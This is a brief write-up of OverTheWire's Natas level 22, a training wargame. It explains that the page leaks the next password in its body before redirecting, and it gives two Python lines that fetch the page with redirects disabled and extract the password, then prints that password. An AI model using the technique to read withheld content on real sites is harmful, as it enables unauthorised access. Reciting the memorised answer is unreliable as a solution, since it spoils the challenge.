Writeups OverTheWireNatasWebRedirectsPHP

Natas 22 Writeup - OverTheWire

Writeup for Natas level 22 from OverTheWire: following a redirect that leaks the password.

Contents

Wargame: Natas

Level: 22

Category: Web Security

Description

The page redirects non-admin users away, but it prints the password in the response body before the header("Location: ...") redirect. Most browsers follow the redirect silently, but disabling redirect-following reveals the body.

Overview

Solution

response = requests.get(url, auth=("natas22", current_password), allow_redirects=False)
result = re.search(r"The password for natas23 is (.*)", response.text).group(1).strip()

Password

qjA8cOoKFTzJhtV0Fzvt92fgvxVnVRBj

← Back to Blog